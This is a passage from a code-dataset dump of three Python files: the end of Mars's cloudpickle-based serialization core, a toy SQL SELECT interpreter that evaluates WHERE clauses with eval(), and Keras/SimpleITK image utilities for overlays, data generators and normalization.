_primitive_serial_cache[obj]\n else:\n primitive_vals = self._get_field_values(obj, obj._PRIMITIVE_FIELDS)\n if obj._cache_primitive_serial:\n primitive_vals = cloudpickle.dumps(primitive_vals)\n _primitive_serial_cache[obj] = primitive_vals\n\n compound_vals = self._get_field_values(obj, obj._NON_PRIMITIVE_FIELDS)\n return (type(obj), primitive_vals), [compound_vals], False\n\n @classmethod\n def _set_field_value(cls, attr_to_values: dict, field: Field, value):\n if value is no_default:\n return\n attr_to_values[field.attr_name] = value\n if type(field) is not OneOfField:\n if value is not None:\n if field.on_deserialize:\n\n def cb(v, field_):\n attr_to_values[field_.attr_name] = field_.on_deserialize(v)\n\n else:\n\n def cb(v, field_):\n attr_to_values[field_.attr_name] = v\n\n if type(value) is Placeholder:\n value.callbacks.append(partial(cb, field_=field))\n else:\n cb(value, field)\n\n def deserial(self, serialized: Tuple, context: Dict, subs: List) -> Serializable:\n obj_class, primitives = serialized\n attr_to_values = dict()\n\n if type(primitives) is not list:\n primitives = cloudpickle.loads(primitives)\n\n if primitives:\n for field, value in zip(obj_class._PRIMITIVE_FIELDS, primitives):\n self._set_field_value(attr_to_values, field, value)\n\n if obj_class._NON_PRIMITIVE_FIELDS:\n for field, value in zip(obj_class._NON_PRIMITIVE_FIELDS, subs[0]):\n self._set_field_value(attr_to_values, field, value)\n\n obj = obj_class()\n obj._FIELD_VALUES = attr_to_values\n return obj\n\n\nSerializableSerializer.register(Serializable)\n","sub_path":"mars/serialization/serializables/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":7600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"265795987","text":"from . import Tools\nimport itertools, re\n\ndef get_list_product_using_indices(contents):\n\treturn itertools.product(*contents) # ghost\n\ndef select(what):\n\tprint(' ' + '-' * 78)\n\tprint('select', what)\n\n\ttables = None\n\twhere = None\n\tgroup = None\n\torder = None\n\n\thave_from = 'from' in what.lower()\n\thave_where = 'where' in what.lower()\n\thave_group = 'group by' in what.lower()\n\thave_order = 'order by' in what.lower()\n\n\tdistinct = what.lower().startswith('distinct')\n\tif distinct:\n\t\twhat = what[len('distinct'):]\n\n\tif have_from:\n\t\tcolumns, rest = Tools.smart_split(what, 'from')\n\n\t\tif have_where:\n\t\t\ttables, rest = Tools.smart_split(rest, 'where')\n\n\t\t\tif have_group:\n\t\t\t\twhere, rest = Tools.smart_split(rest, 'group by')\n\n\t\t\t\tif have_order:\n\t\t\t\t\tgroup, order = Tools.smart_split(rest, 'order by')\n\n\t\t\t\telse:\n\t\t\t\t\tgroup = rest\n\n\t\t\telif have_order:\n\t\t\t\twhere, order = Tools.smart_split(rest, 'order by')\n\n\t\t\telse:\n\t\t\t\twhere = rest\n\n\t\telif have_group:\n\t\t\ttables, rest = Tools.smart_split(rest, 'group by')\n\n\t\t\tif have_order:\n\t\t\t\tgroup, order = Tools.smart_split(rest, 'order by')\n\n\t\t\telse:\n\t\t\t\tgroup = rest\n\n\t\telif have_order:\n\t\t\ttables, order = Tools.smart_split(rest, 'order by')\n\n\t\telse:\n\t\t\ttables = rest\n\n\telse:\n\t\tcolumns = what\n\n\tif tables:\n\t\ttables = Tools.smart_split(tables, ',')\n\t\ttables = [Context.get_table(table_name) for table_name in tables]\n\n\tif columns:\n\t\tcolumns = columns.replace('*', ','.join(column_name for table in tables for column_name in table['column_list']))\n\t\tcolumns = Tools.smart_split(columns, ',')\n\t\t# if columns == '*':\n\t\t# \tcolumns = [column_name for table in tables for column_name in table['column_list']]\n\n\t\t# else:\n\t\t# \tcolumns = Tools.smart_split(columns, ',')\n\n\tif where:\n\t\twhere = where.replace('=', '==')\n\n\tdef like(a, b):\n\t\treturn re.match(b.replace('%', '.*'), a) is not None\n\n\tdef avg(lst):\n\t\treturn sum(lst) / len(lst)\n\n\tdef count(*columns): # wont work for tables with 1 column\n\t\treturn len(columns[0])\n\n\tevaluator = {\n\t\t'count' : count,\n\t\t'like' : like,\n\t\t'avg' : avg,\n\t}\n\n\tresult = []\n\n\tif columns and tables:\n\t\ttable_columns = ['%s_%s' % (table['name'], column_name) for table in tables for column_name in table['column_list']]\n\t\tpure_columns = [column_name for table in tables for column_name in table['column_list']]\n\t\tcontents = [table['content'] for table in tables]\n\n\t\tfor element in get_list_product_using_indices(contents):\n\t\t\tline = [x for y in element for x in y]\n\t\t\tevaluator.update(dict(zip(table_columns, line)))\n\t\t\tevaluator.update(dict(zip(pure_columns, line)))\n\n\t\t\twhere_passes = True\n\t\t\tif where:\n\t\t\t\twhere_passes = eval(where, evaluator)\n\n\t\t\tif where_passes:\n\t\t\t\t# result.append(tuple(eval(c, evaluator) for c in columns))\n\t\t\t\tresult.append(tuple(line))\n\n\t\tif group:\n\t\t\tnew_result = []\n\n\t\t\tgid = pure_columns.index(group)\n\t\t\tkey = lambda x: x[gid]\n\t\t\tfor key, grouped in itertools.groupby(sorted(result, key = key), key = key):\n\t\t\t\t# print(key, list(grouped))\n\t\t\t\t# print(pure_columns)\n\t\t\t\tgrouped = list(grouped)\n\t\t\t\tfor i, column in enumerate(pure_columns):\n\t\t\t\t\tevaluator[column] = [x[i] for x in grouped]\n\n\t\t\t\tfor i, column in enumerate(table_columns):\n\t\t\t\t\tevaluator[column] = [x[i] for x in grouped]\n\n\t\t\t\tnew_result.append(tuple(eval(c, evaluator) if c != group else key for c in columns))\n\n\t\t\tresult = new_result\n\n\t\telif [c for c in columns if c.startswith('max') or c.startswith('min') or c.startswith('avg') or c.startswith('count')]:\n\t\t\tfor i, column in enumerate(pure_columns):\n\t\t\t\tevaluator[column] = [x[i] for x in result]\n\n\t\t\tfor i, column in enumerate(table_columns):\n\t\t\t\tevaluator[column] = [x[i] for x in result]\n\n\t\t\tresult = [tuple(eval(c, evaluator) for c in columns)]\n\n\t\telse:\n\t\t\tscols = set(columns)\n\t\t\tresult = [tuple(r[i] for i, (tc, pc) in enumerate(zip(table_columns, pure_columns)) if tc in scols or pc in scols) for r in result]\n\n\t\tif order:\n\t\t\toid = pure_columns.index(order)\n\t\t\tresult = sorted(result, key = lambda x: x[oid])\n\n\t# if group:\n\t# \tprint('group', group)\n\n\tif distinct:\n\t\tresult = list(set(result))\n\n\tprint(*result, sep = '\\n')\n\tprint()\n","sub_path":"ABKR/SelectCommand.py","file_name":"SelectCommand.py","file_ext":"py","file_size_in_byte":4036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"50959335","text":"from os.path import isdir\nimport numpy as np\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.utils.np_utils import to_categorical\nimport SimpleITK as sitk\nimport h5py\n\n\ndef overlay_mask(img, mask, out):\n\n img_gray = sitk.GetImageFromArray(np.mean(img, axis=2).astype(np.uint8))\n overlay = sitk.LabelOverlay(img_gray, sitk.GetImageFromArray(mask))\n sitk.WriteImage(overlay, out)\n return sitk.GetArrayFromImage(overlay)\n\n\ndef create_generator(data_path, input_shape, batch_size=32, training=True):\n\n datagen = ImageDataGenerator()\n\n if isdir(data_path): # if we have directories of images split by class\n\n dg = datagen.flow_from_directory(\n data_path,\n target_size=input_shape[1:],\n batch_size=batch_size,\n class_mode='categorical',\n shuffle=training)\n return dg, dg.classes, dg.class_indices\n\n else: # otherwise, assume HDF5 file\n\n f = h5py.File(data_path, 'r')\n class_indices = {k: v for v, k in enumerate(np.unique(f['labels']))}\n classes = [class_indices[k] for k in f['labels']]\n labels = to_categorical(classes)\n\n return datagen.flow(f['data'], y=labels, batch_size=batch_size, shuffle=training), classes, class_indices\n\ndef normalize(img):\n\n img_min, img_max = np.min(img), np.max(img)\n img_norm = (img - img_min) / (img_max - img_min)\n return img_norm.astype(np.uint8) * 255","sub_path":"utils/image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":1436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}